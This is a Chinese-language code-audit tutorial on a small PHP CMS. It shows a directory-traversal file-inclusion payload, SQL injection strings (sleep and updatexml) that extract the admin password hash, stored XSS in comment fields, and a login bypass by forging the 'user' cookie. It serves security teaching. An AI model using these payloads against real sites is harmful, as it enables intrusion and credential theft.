1.拿到源码并进行白盒测试
白盒测试又称结构测试、透明盒测试、逻辑驱动测试或基于代码的测试。 白盒测试是一种测试用例设计方法,盒子指的是被测试的软件,白盒指的是盒子是可视的,即清楚盒子内部的东西以及里面是如何运作的。 "白盒"法全面了解程序内部逻辑结构、对所有逻辑路径进行测试。 "白盒"法是穷举路径测试。
分析一下项目结构:
admin --管理后台文件夹 css --存放css的文件夹 files --存放页面的文件夹 images --存放图片的文件夹 inc --存放网站配置文件的文件夹 install --网站进行安装的文件夹 seacmseditor --编辑器文件夹 template --模板文件夹 upload --上传功能文件夹 index.php --网站首页
2.自动审计
先使用seay自动审计一下,减小工作量
自动审计完成,发现34个可疑漏洞
seay支持导出代审报告:
3.文件包含
首先看一下index.php 和 admin/index.php 显示的文件包含漏洞
代码片:
<?php //单一入口模式 error_reporting(0); //关闭错误显示 $file=addslashes($_GET['r']); //接收文件名 $action=$file==''?'index':$file; //判断为空或者等于index include('files/'.$action.'.php'); //载入相应文件 ?>
代码中用函数addslashes
进行了一波过滤,防止命令执行,但是对于文件包含无济于事,既然没有限制,那么我们就可以包含到files文件夹下的源码甚至根目录下的文件内容
PHP addslashes() 函数 在每个双引号(")前添加反斜杠: <?php $str = addslashes('Hello "PHP", please be kind to me'); echo $str; ?> -------------------------- 输出: Hello \"PHP\", please be kind to me
比如我们在根目录下新建好一个phpinfo.php文件
<?php phpinfo(); ?>
构造payload进行访问
?r=../../phpinfo
http://localhost/xionghai/admin/index.php?r=../../phpinfo
成功访问到了phpinfo.php文件的内容
注意此CMS是有两处文件包含,一个位于index.php,一个位于admin/index.php,都可以利用成功
4.SQL注入
SQL注入一般存在于网站中要向数据库中提交或更新信息的地方
比如此CMS后台的login.php源码:
<?php ob_start(); require '../inc/conn.php'; $login=$_POST['login']; $user=$_POST['user']; $password=$_POST['password']; $checkbox=$_POST['checkbox']; if ($login<>""){ $query = "SELECT * FROM manage WHERE user='$user'"; $result = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $users = mysql_fetch_array($result); if (!mysql_num_rows($result)) { echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"; exit; }else{ $passwords=$users['password']; if(md5($password)<>$passwords){ echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"; exit; } //写入登录信息并记住30天 if ($checkbox==1){ setcookie('user',$user,time()+3600*24*30,'/'); }else{ setcookie('user',$user,0,'/'); } echo "<script>this.location='?r=index'</script>"; exit; } exit; ob_end_flush(); } ?>
不要着急,我们先简要分析一下源码:(增加了注释)
```php <?php ob_start(); require '../inc/conn.php'; // 通过POST方式接受数据 $login=$_POST['login']; $user=$_POST['user']; $password=$_POST['password']; $checkbox=$_POST['checkbox']; if ($login<>""){ // 编写的sql语句存入变量$query $query = "SELECT * FROM manage WHERE user='$user'"; // 没有任何过滤,直接使用mysql_query函数提交到数据库执行,这个正是我们可以利用的攻击点 $result = mysql_query($query) or die('SQL语句有误:'.mysql_error()); $users = mysql_fetch_array($result); // 此处的意思是,如果在数据库中没有找到要登录的用户名,提示错误 if (!mysql_num_rows($result)) { echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"; exit; }else{ // 找到了用户名,但是密码错误,同样弹出一个错误信息 $passwords=$users['password']; if(md5($password)<>$passwords){ // 这里的密码使用了md5函数进行了一次加密操作 echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>"; exit; } //写入登录信息并记住30天 if ($checkbox==1){ setcookie('user',$user,time()+3600*24*30,'/'); }else{ setcookie('user',$user,0,'/'); } echo "<script>this.location='?r=index'</script>"; exit; } exit; ob_end_flush(); } ?>
测试使用万能密码无法登录,但是依然存在布尔盲注和报错注入
比如,我们构建恶意提交
// 布尔盲注 admin' or sleep(10) # // 进行报错注入 1' or updatexml(1,concat((select concat(0x7e,password) from manage)),0) # 1' or updatexml(1,concat((select concat(password,0x7e) from manage)),0) # // 将获得的MD5值进行爆破破解得到password的铭文,随后继续注入获取用户名 1' or updatexml(1,concat((select concat(0x7e,user) from manage)),0) # //admin // 获得所有信息,可以使用admin账号进行后台的登录操作
至于源码中其他的诸多SQL注入漏洞,本质上都是一样的思路
5.存储型XSS漏洞
files/content.php
通过对代码片的分析前端没有对提交的数据进行限制:
<li><span>昵称</span><input name="name" type="text" value="<?php echo $_COOKIE['name']?>" /></li> <li><span>邮箱</span><input name="mail" type="text" value="<?php echo $_COOKIE['mail']?>"/></li> <li><span>网址</span><input name="url" type="text" value="<?php echo $_COOKIE['url']?>"/></li>
通过全局搜索提交变量,发现后端也没有进行限制
$save=$_POST['save']; $name=$_POST['name']; $url=$_POST['url'];
因此产生了比较严重的存储型XSS漏洞
6.越权
inc/checklogin.php
<?php $user=$_COOKIE['user']; if ($user==""){ header("Location: ?r=login"); exit; } ?>
代码大意就是 接收cookie中user的内容,如果user字段为空,则跳到登录页面
那么发现,此处的user应该就是登录的用户名,我们通过抓包修改user字段值为admin,可以成功进入admin账户进行后台管理操作